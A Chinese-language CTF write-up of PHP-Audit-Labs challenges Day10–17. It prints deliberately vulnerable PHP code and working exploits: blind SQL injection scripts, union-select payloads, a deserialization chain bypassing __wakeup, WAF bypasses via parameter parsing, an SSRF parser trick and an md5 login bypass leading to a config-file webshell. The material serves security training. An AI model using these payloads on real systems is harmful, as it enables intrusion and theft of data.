PHP-Audit-Labs-CTF上篇 前言 第九题,因为一些原因我没写,后续补上。
Day10 Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php include 'config.php' ;function stophack ($string ) { if (is_array($string )){ foreach ($string as $key => $val ) { $string [$key ] = stophack($val ); } } else { $raw = $string ; $replace = array ("\\" ,"\"" ,"'" ,"/" ,"*" ,"%5C" ,"%22" ,"%27" ,"%2A" ,"~" ,"insert" ,"update" ,"delete" ,"into" ,"load_file" ,"outfile" ,"sleep" ,); $string = str_ireplace($replace , "HongRi" , $string ); $string = strip_tags($string ); if ($raw !=$string ){ error_log("Hacking attempt." ); header('Location: /error/' ); } return trim($string ); } } $conn = new mysqli($servername , $username , $password , $dbname );if ($conn ->connect_error) { die ("连接失败: " ); } if (isset ($_GET ['id' ]) && $_GET ['id' ]){ $id = stophack($_GET ['id' ]); $sql = "SELECT * FROM students WHERE id=$id " ; echo $sql ."<br/>" ; $result = $conn ->query($sql ); if ($result ->num_rows > 0 ){ $row = $result ->fetch_assoc(); echo '<center><h1>查询结果为:</h1><pre>' .<<<EOF +----+---------+--------------------+-------+ | id | name | email | score | +----+---------+--------------------+-------+ | {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} | +----+---------+--------------------+-------+</center> EOF ; } } else die ("你所查询的对象id值不能为空!" );?> $servername = "localhost" ;$username = "root" ;$password = "123456" ;$dbname = "day1" ;function stop_hack ($value ) { $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval" ; $back_list = explode("|" ,$pattern ); foreach ($back_list as $hack ){ if (preg_match("/$hack /i" , $value )) die ("$hack detected!" ); } return $value ; } ?> create database day10; use day10 ;create table students ( id int (6 ) unsigned auto_increment primary key, name varchar(20 ) not null , email varchar(30 ) not null , score int (8 ) unsigned not null ); INSERT INTO students VALUES(1 ,'Lucia' ,'Lucia@hongri.com' ,100 ); INSERT INTO students VALUES(2 ,'Danny' ,'Danny@hongri.com' ,59 ); INSERT INTO students VALUES(3 ,'Alina' ,'Alina@hongri.com' ,66 ); INSERT INTO students VALUES(4 ,'Jameson' ,'Jameson@hongri.com' ,13 ); INSERT INTO students VALUES(5 ,'Allie' ,'Allie@hongri.com' ,88 ); create table flag(flag varchar(30 ) not null ); INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}' );
解: 其实这题不单单考验sql注入
基础,还考验对php
机制的了解
看段代码
1 2 3 $replace = array ("\\" ,"\"" ,"'" ,"/" ,"*" ,"%5C" ,"%22" ,"%27" ,"%2A" ,"~" ,"insert" ,"update" ,"delete" ,"into" ,"load_file" ,"outfile" ,"sleep" ,);$string = str_ireplace($replace , "HongRi" , $string );$string = strip_tags($string );
当我们输入的字符串跟$replace
数组的一样时,就会被替换成HongRi
。这里单单看过滤函数有些经验的就知道用盲注函数绕过,但是如果没有什么经验的新手,可以结合下面的代码。得出注入类型。
现在回到stophack函数
,使用benchmark
或笛卡儿积
可以完成延迟注入。我们现在绕过过滤的部分,现在来到本题的第二个重点。
1 2 3 4 if ($raw !=$string ){ error_log("Hacking attempt." ); header('Location: /error/' ); }
当$string
异常时,程序并没有退出,而是进行运行下去,把攻击语句带到数据库。
benchmark
延迟注入我这里就直接使用红日团队的脚本了
关于benchmark
延迟注入如果不了解,建议去了解以下,了解完你就明白payload
的意思了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import sys, string, requestsversion_chars = ".-{}_" + string.ascii_letters + string.digits + '#' flag = "" for i in range (1 ,40 ): for char in version_chars: payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord (char)) url = "http://localhost/index.php?id=%s" % payload if char == '#' : if (flag): sys.stdout.write("\n[+] The flag is: %s" % flag) sys.stdout.flush() else : print ("[-] Something run error!" ) exit() try : r = requests.post(url=url, timeout=2.0 ) except Exception as e: flag += char sys.stdout.write("\r[-] Try to get flag: %s" % flag) sys.stdout.flush() break print ("[-] Something run error!" )
笛卡尔积
延迟注入
mysql CROSS JOIN用于组合两个或多个表的所有可能性,并返回包含所有贡献表的每一行的结果。CROSS JOIN
也称为CARTESIAN JOIN
,它提供所有关联表的笛卡尔积,笛卡尔积可以解释为第一个表中存在的所有行尘乘于第二个表中所有行。
我们可以用下面的可视化表示它,其中CROSS JOIN 返回table1和table2的所有记录
,每一行是两个表的组合。
图文链接
payload
1 id=-1 or if(ascii(substr((select flag from flag),1,1))=72,(SELECT count(1) FROM information_schema.columns A, information_schema.columns B),0)#
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import sys, string, requestsflag = "" for i in range (1 ,100 ): for j in range (32 ,129 ): payload = "-1 or if(ascii(substr((select flag from flag),%s,1))=%s,(SELECT count(1) FROM information_schema.columns A, information_schema.columns B),0)#" % (i,j) url = "http://localhost/index.php?id=%s" % payload try : r = requests.post(url=url, timeout=2.0 ) except Exception as e: flag += chr (j) sys.stdout.write("\r[-] Try to get flag: %s" % flag) sys.stdout.flush() break
Day11 Code 本题的code有点长不合适放到文章中,建议大家去github 上下载
解: 本题我觉得比较有趣,难度对于熟悉序列化的朋友来说可能没那么高,但是对不怎么熟悉序列化的朋友就可能比较高。其实除了序列化本题还有一个比较有意思的点。比如union select
构造返回值。
在mysql
中select
是可以用于不参与任何表的计算行,或者使用虚拟表名
但是如果我们使用select
不计算任何数,那么select
会返回我们输入的内容。
如图:
ok,了解一些前置知识,我们开始解题
从一开始该题就透露这序列化的味道
1 2 3 4 5 6 if (isset ($_GET ["data" ])) { @unserialize($_GET ["data" ]); } else { new HITCON("source" , array ()); }
下面这段代码,以__destruct魔术方法
作为开头,满足条件调用call_user_func_array函数
,至于条件就是$this->method
必须包含login,source
其中一个
1 2 3 4 5 6 7 8 9 10 function __destruct ( ) { $this ->__conn(); if (in_array($this ->method, array ("login" , "source" ))) { @call_user_func_array(array ($this , $this ->method), $this ->args); } else { $this ->__die("What do you do?" ); } $this ->__close(); }
看到代码开头,$method,$args
都是可控的,因此我们满足条件可以调用call_user_func_array函数
,至于login,source
调用谁?看遍代码只有login
合适调用
1 2 3 4 5 6 7 8 9 10 11 12 class HITCON { public $method ; public $args ; public $conn ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; $this ->__conn(); } ... }
看到login函数
代码,func_get_args()
会在数组中返回$username, $password
的值,因此我们定义$args
时会是数组形式。
至于sql
查询语句这里,因为数据库中的password
是明文形式存储的,这里却是md5
加密后的,他们十辈子都不会配对成功。所以我们需要使用union select
构造返回值,如果不明白可以看前面我说的select
1 2 3 4 5 6 7 8 9 10 11 12 13 function login ( ) { list ($username , $password ) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'" , $username , md5($password )); $obj = $this ->__query($sql ); if ( $obj != false ) { define('IN_FLAG' , TRUE ); $this ->loadData($obj ->role); } else { $this ->__die("sorry!" ); } }
如果这时候sql
语句没出意外,那肯定是出意外了(0.0),这时候我们构造的sql语句
会出现很多\
,这就是__wakeup()
过滤导致,至于如何绕过__wakeup()
可以看CVE-2016-7124
1 2 3 4 5 function __wakeup ( ) { foreach ($this ->args as $k => $v ) { $this ->args[$k ] = strtolower(trim(mysql_escape_string($v ))); } }
我这里就直接说绕过利用,当序列化字符串中对象属性个数的值大于实际属性个数时就会跳过__wakeup()
可能看起来有点绕,直接代码演示
1 2 3 O:5 :"SoFun" :1 :{s:4 :"abcd" ;s:8 :"asdf.php" ;} >> 没绕过__wakeup() O:5 :"SoFun" :2 :{s:4 :"abcd" ;s:8 :"asdf.php" ;} >> 绕过__wakeup()
绕完__wakeup()
这时候程序也走到loadData()
了
这里的绕过检测原理推荐去看先知文章
第一个检测绕过我们需要一个壳就可绕过了
第二个检测绕过只需要在0:
后加上+
就可以
1 2 3 4 5 6 function loadData ($data ) { if (substr($data , 0 , 2 ) !== 'O:' && !preg_match('/O:\d:/' , $data )) { return unserialize($data ); } return []; }
绕过payload
1 a:1 :{O:+5 :"SoFun" :1 :{s:1 :"a" ;s:3 :"abc" ;}}
这时候就可以反序列化$data
,$data
就是我们前面利用select
返回的第三个值即$obj->role
看到SoFun类
$file
属于可控,__wakeup
可以绕过,因此我们利用loadData
反序列化SoFun类
就可以读取flag
了
1 2 3 4 5 6 7 8 9 10 11 12 class SoFun { public $file ='index.php' ; function __destruct ( ) { if (!empty ($this ->file)) { include $this ->file; } } function __wakeup ( ) { $this -> file='index.php' ; } }
整体payload
需要注意一下编码问题同时需要记住我们需要绕过两个__wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class HITCON { public $method ='login' ; public $args ; public function __construct ($args ) { $this ->args = $args ; } } class SoFun { public $file ='flag.php' ; } $x = new SoFun();$a = new HITCON(array ("username" =>"1' union select 1,2,'a:1:{" .serialize($x )."}'#" ,"password" =>"123" ));echo urlencode(serialize($a ));
1 O:6 :"HITCON" :3 :{s:6 :"method" ;s:5 :"login" ;s:4 :"args" ;a:2 :{s:8 :"username" ;s:72 :"1' union select 1,2,'a:1:{O:+5:" SoFun":2:{s:4:" file";s:8:" flag.php";}}'#" ;s:8 :"password" ;s:3 :"123" ;}}
Day12 代码有点多…,不方便贴到文章中,麻烦上Github 自行下载
整体来说该题还是比较有意思的,难度不是很大
解: 先看段代码
当我们数据输入后都会调用clean
把单双引号
进行转化等,那估计我们的payload
是不会有单双引号
了
1 2 3 4 5 6 7 8 9 10 function clean ($str ) { if (get_magic_quotes_gpc()){ $str =stripslashes($str ); } return htmlentities($str , ENT_QUOTES); return $str ; } $username = @clean((string )$_GET ['username' ]);$password = @clean((string )$_GET ['password' ]);
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_REQUEST ['username' ])){ if (preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST ['username' ])){ die ("Attack detected!!!" ); } } if (isset ($_REQUEST ['password' ])){ if (preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST ['password' ])){ die ("Attack detected!!!" ); } }
正则接收数据时,是使用$_REQUEST
接收数据,但是别处使用的却是$_GET
默认情况下$_REQUEST
是优先接收POST
数据
因此我们绕过正则检测只需要同时发送POST、GET
请求即可
现在来到mysql
语句这里
1 $query ='SELECT * FROM day12.users WHERE name=\'' .$username .'\' AND pass=\'' .$password .'\';' ;
引号有点多,看的头疼,我们来简化一下
1 SELECT * FROM day12.users WHERE name='1\' AND pass=' password\';
现在看起来简单明了,这时候我们只要在username
输入1\
,那么username
的其中一个单引号就会被无效化,整体效果变成这样
1 SELECT * FROM day12.users WHERE name='1 AND pass=' password\';
AND pass='
变成name
的了,这时候只需要使用注释符号--%20
注释后面的'
就可以注入了
username=\&password=union select 1,2,3,4 --
最后看到输出这块的代码
1 2 3 4 5 6 while ($row = mysql_fetch_array($result )){ echo "<tr>" ; echo "<td>" . $row ['name' ] . "</td>" ; echo "</tr>" ; }
整体返回值,循环后只输出name
,这也是为什么上面的注入只输出2
的原因,所以我们需要把flag
的值调到name
这块,才能输出flag
我们只需要使用select
时把flag
调到原本name
的位置即可
ok,现在我们所有条件都达成了,可以召唤flag
了
payload
1 username=\&password=union select 1 ,flag,3 ,4 from day12.users --
Day13 我一直以为该题是考正则能力,没想到是考对php
特性的了解
code Github
解: 开始讲解之前我们先了解php
两个特性
先看mode
从mode
上可以看到,如果同时发送同名参数,排在最后的参数值会被接收,第一个参数值会被覆盖
ok.先我们来看到另一个特性,先看mode
php
变量名中含有一些特殊符号都被转换为下划线,如i.d=>i_d
目前在php
官网上只看到三种特殊符号转换为下划线了
但是如果程序使用$_SERVER[REQUEST_URI]
获取参数则不会对特殊符号进行转换,维持原样输出
现在我们开始做题
先看到第一个waf处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var_dump($_REQUEST ); foreach ($_REQUEST as $key => $value ) { $_REQUEST [$key ] = dowith_sql($value ); } function dowith_sql ($str ) { $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is' , $str ); if ($check ) { echo "非法字符!" ; exit (); } return $str ; }
第一个waf
获取http
参数后交给dowith_sql
函数进行过滤,如果由输入的参数存在敏感字符如select、insert
等都会退出程序
接着继续看到第二个waf处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $request_uri = explode("?" , $_SERVER ['REQUEST_URI' ]); if (isset ($request_uri [1 ])) { $rewrite_url = explode("&" , $request_uri [1 ]); foreach ($rewrite_url as $key => $value ) { $_value = explode("=" , $value ); if (isset ($_value [1 ])) { $_REQUEST [$_value [0 ]] = dhtmlspecialchars(addslashes($_value [1 ])); } } } function dhtmlspecialchars ($string ) { if (is_array($string )) { foreach ($string as $key => $val ) { $string [$key ] = dhtmlspecialchars($val ); } } else { $string = str_replace(array ('&' , '"' , '<' , '>' , '(' , ')' ), array ('&' , '"' , '<' , '>' , '(' , ')' ), $string ); if (strpos($string , '&#' ) !== false ) { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/' , '&\\1' , $string ); } } return $string ; }
第二个waf
将接收到的REQUEST_URI
进行分割,把参数的值交给dhtmlspecialchars
过滤,然后重新定义$_REQUEST
的参数名
经过重新定义的i_d、i.d
变量就会受到特殊符号的影响,不会转换特殊符号了
绕过了两个waf
来到业务代码
1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_REQUEST ['submit' ])) { $user_id = $_REQUEST ['i_d' ]; $sql = "select * from day13.users where id=$user_id " ; $result =mysql_query($sql ); while ($row = mysql_fetch_array($result )) { echo "<tr>" ; echo "<td>" . $row ['name' ] . "</td>" ; echo "</tr>" ; } }
业务代码先判断我们是否通过按钮过来,然后将参数值与mysql
语句进行拼接,最后输出name
。
1 submit=1&i_d=-1 union select 1,flag,3,4 from day13.users&i.d=1
Day14 Code Github
解: 本题是由两个解法,但是都受到php
版本影响,都要求php
版本为5.2.x
,我php
的版本是5.2.6
。
我尝试%00
绕过eregi
失败,可能是php
原因,所以我这里使用第二种方式获取flag
看到content.php
1 2 3 4 5 6 7 8 9 10 11 <?php include './global.php' ;extract($_REQUEST ); $sql = "select * from test.content where id=$message_id " ;$arr = select($sql );?>
调用该php
首先就加载了global.php
文件,跟进该文件看下
1 2 3 4 5 6 <?php include './config.php' ;include './function.php' ;include './waf.php' ;session_start(); ?>
查看三个文件时,发现waf.php
对cookie
的数据与其他get、post
数据的处理方式不一样
1 2 3 4 foreach ($_COOKIE as $key => $value ) { $_COOKIE [$key ] = safe_str($value ); $_GET [$key ] = dhtmlspecialchars($value ); }
cookie
的值交给safe_str
函数,跟进safe_str
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function safe_str ($str ) { if (!get_magic_quotes_gpc()) { if ( is_array($str ) ) { foreach ($str as $key => $value ) { $str [$key ] = safe_str($value ); } }else { $str = addslashes($str ); } } return $str ; }
get_magic_quotes_gpc
是获取php.ini
中magic_quotes_gpc
配置设置信息,但是有趣的来了。
get_magic_quotes_gpc
总是会返回false
,就算修改中php.ini
中的magic_quotes_gpc
配置也是返回false
,除非是get_magic_quotes_gpc()
才会返回true
。
既然!get_magic_quotes_gpc()
返回false
,那数据就不会进入流程里面,直接返回原来的数据出来。
返回来的值会被设置为$_COOKIE
的KEY
,但是不影响,前面这些只是说明Cookie
的数据没有被waf
拦截而已,实际上真正的利用点不在这里。
现在来看到看到利用点
1 2 3 extract($_REQUEST ); $sql = "select * from test.content where id=$message_id " ;$arr = select($sql );
extract
会将数组中的key
设置为变量名
我们只要在cookie
中添加message_id=xxx
,这样经过extract
时就会变成$message_id=xxx
。
现在开始写payload
1 message_id=0 union select 1 ,2 ,flag,4 from flag
Day15 Code Github
解: 在开始解题之前了解一下mysql
的运算符
mysql 中||
通or
,通过下面的例子可以看到mysql
中or
的使用过程
1 2 3 4 5 select user from users where user='xxxxxxxxxxx'or 1; //联合命令 //分解命令 select user from users where user='xxxxxxxxxxx'; select user from users where 1;
开始解题
我们需要获取到admin
的密码才能取出flag
,但是#、-
都被过滤了,无法使用,但是可以使用;%00
进行注释
解决注释后,还需使用运算符||
让mysql
运行我们的语句
现在的payload
为http://localhost/?user=\&pwd=||1;%00
现在我们的mysql
语句变成下面这样
1 2 select user from users where user=' and pwd=' ||1;#' select user from users where 1;
但是我们现在还是无法获取admin
的密码,现在就需要regexp
出场了。
regexp
是mysql
中的正则函数,我们只需要使用正则去配对admin
的密码即可
我这里获取flag
直接使用红日团队
的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import stringimport requestsimport rechar_set = '0123456789abcdefghijklmnopqrstuvwxyz_' pw = '' while 1 : for ch in char_set: url = 'http://localhost/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00' r = requests.get(url=url%(pw+ch)) if 'Welcome Admin' in r.text: pw += ch print (pw) break if ch == '_' : break r = requests.get('http://localhost/?user=&pwd=%s' % pw) print (re.findall('HRCTF{\S{1,50}}' ,r.text)[0 ])
Day16 Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php function check_inner_ip ($url ) { $match_result =preg_match('/^(http|https)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ){ die ('url fomat error1' ); } try { $url_parse =parse_url($url ); } catch (Exception $e ){ die ('url fomat error2' ); } $hostname =$url_parse ['host' ]; $ip =gethostbyname($hostname ); $int_ip =ip2long($ip ); return ip2long('127.0.0.0' )>>24 == $int_ip >>24 || ip2long('10.0.0.0' )>>24 == $int_ip >>24 || ip2long('172.16.0.0' )>>20 == $int_ip >>20 || ip2long('192.168.0.0' )>>16 == $int_ip >>16 || ip2long('0.0.0.0' )>>24 == $int_ip >>24 ; } function safe_request_url ($url ) { if (check_inner_ip($url )){ var_dump(check_inner_ip($url )); echo $url .' is inner ip' ; } else { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); $output = curl_exec($ch ); $result_info = curl_getinfo($ch ); if ($result_info ['redirect_url' ]){ safe_request_url($result_info ['redirect_url' ]); } curl_close($ch ); var_dump($output ); } } $url = $_POST ['url' ];if (!empty ($url )){ safe_request_url($url ); } else { highlight_file(__file__ ); } ?> <?php if (! function_exists('real_ip' ) ) { function real_ip ( ) { $ip = $_SERVER ['REMOTE_ADDR' ]; if (is_null($ip ) && isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s' , $_SERVER ['HTTP_X_FORWARDED_FOR' ], $matches )) { foreach ($matches [0 ] AS $xip ) { if (!preg_match('#^(10|172\.16|192\.168)\.#' , $xip )) { $ip = $xip ; break ; } } } elseif (is_null($ip ) && isset ($_SERVER ['HTTP_CLIENT_IP' ]) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_CLIENT_IP' ])) { $ip = $_SERVER ['HTTP_CLIENT_IP' ]; } elseif (is_null($ip ) && isset ($_SERVER ['HTTP_CF_CONNECTING_IP' ]) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_CF_CONNECTING_IP' ])) { $ip = $_SERVER ['HTTP_CF_CONNECTING_IP' ]; } elseif (is_null($ip ) && isset ($_SERVER ['HTTP_X_REAL_IP' ]) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_X_REAL_IP' ])) { $ip = $_SERVER ['HTTP_X_REAL_IP' ]; } return $ip ; } } $rip = real_ip();if ($rip === "127.0.0.1" ) die ("HRCTF{SSRF_can_give_you_flag}" ); else die ("You IP is {$rip} not 127.0.0.1" ); ?>
解: 解题之前,先跟我了解一下php
如何解析URL
参数
下面我用的是python urllib.parse库
解析同个url
,可以看到结果有些不同
需要记住一点,每个平台实现解析url
的方法都不一样的
ok,现在我们开始解题
1 2 3 4 5 6 7 $url = $_POST ['url' ];if (!empty ($url )){ safe_request_url($url ); } else { highlight_file(__file__ ); }
通过POST
获取到url
参数后直接转到safe_request_url
看到safe_request_url
函数和check_inner_ip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function check_inner_ip ($url ) { $match_result =preg_match('/^(http|https)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ){ die ('url fomat error1' ); } try { $url_parse =parse_url($url ); } catch (Exception $e ){ die ('url fomat error2' ); } $hostname =$url_parse ['host' ]; $ip =gethostbyname($hostname ); $int_ip =ip2long($ip ); return ip2long('127.0.0.0' )>>24 == $int_ip >>24 || ip2long('10.0.0.0' )>>24 == $int_ip >>24 || ip2long('172.16.0.0' )>>20 == $int_ip >>20 || ip2long('192.168.0.0' )>>16 == $int_ip >>16 || ip2long('0.0.0.0' )>>24 == $int_ip >>24 ; } function safe_request_url ($url ) { if (check_inner_ip($url )){ var_dump(check_inner_ip($url )); echo $url .' is inner ip' ; } else { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); $output = curl_exec($ch ); $result_info = curl_getinfo($ch ); if ($result_info ['redirect_url' ]){ safe_request_url($result_info ['redirect_url' ]); } curl_close($ch ); var_dump($output ); } }
这里safe_request_url
获取到url
后就交给check_inner_ip
进行处理,检测ip为内网地址就会返回结果为true
,然后就输出xx is inner ip
。然后就没然后了
现在看到check_inner_ip
,check_inner_ip
获取到url
后进行检测是否为正常的url
如果是正常的url
就使用parse_url
解析,然后检测ip
归属
现在看到safe_request_url
,safe_request_url
获取到url
后,使用的是curl_exec
进行访问url
的
curl_exec
解析使用的是libcurl
库与parse_url
解析方式是不一样的
所以我们现在利用url
解析的差异进行获取flag
,对于url
解析的差异推荐看us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 这篇文章
payload
Day17 Code Github
解: 上手后直接看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php require 'db.inc.php' ;$password =$_POST ['password' ];$sql = "SELECT * FROM ctf.users WHERE username = 'admin' and password = '" .md5($password ,true )."'" ;$result =mysql_query($sql );if (mysql_num_rows($result )>0 ){ echo 'you are admin ' ; if (!isset ($_GET ['option' ])) die (); $str = addslashes($_GET ['option' ]); $file = file_get_contents('./config.php' ); $file = preg_replace('|\$option=\'.*\';|' , "\$option='$str ';" , $file ); file_put_contents('./config.php' , $file ); } else { echo '密码错误!' ; } ?>
我们的输入的password
会被转成md5
,然后md5
返回16字节长度
的原始二进制,然后将二进制转成字符串
我们这里使用https://www.jianshu.com/p/12125291f50d
的万能密码进行绕过
1 2 3 4 content: ffifdyop hex: 276 f722736c95d99e921722cf9ed621c raw: 'or' 6 \xc9]\x99\xe9!r,\xf9\xedb\x1c string : 'or' 6 ]!r,b
在mysql
中只要以整数开头非0
的数字,都会转成布尔型中的true
现在我们绕过了登录,开始往config.php
写入webshell
addslashes
检测option
参数输入,然后根据情况加上反斜线
我们只需要加多一个\
即可,然后用'
跳出范围,最后使用//
注释多余的符号即可
payload
1 2 3 http: password=ffifdyop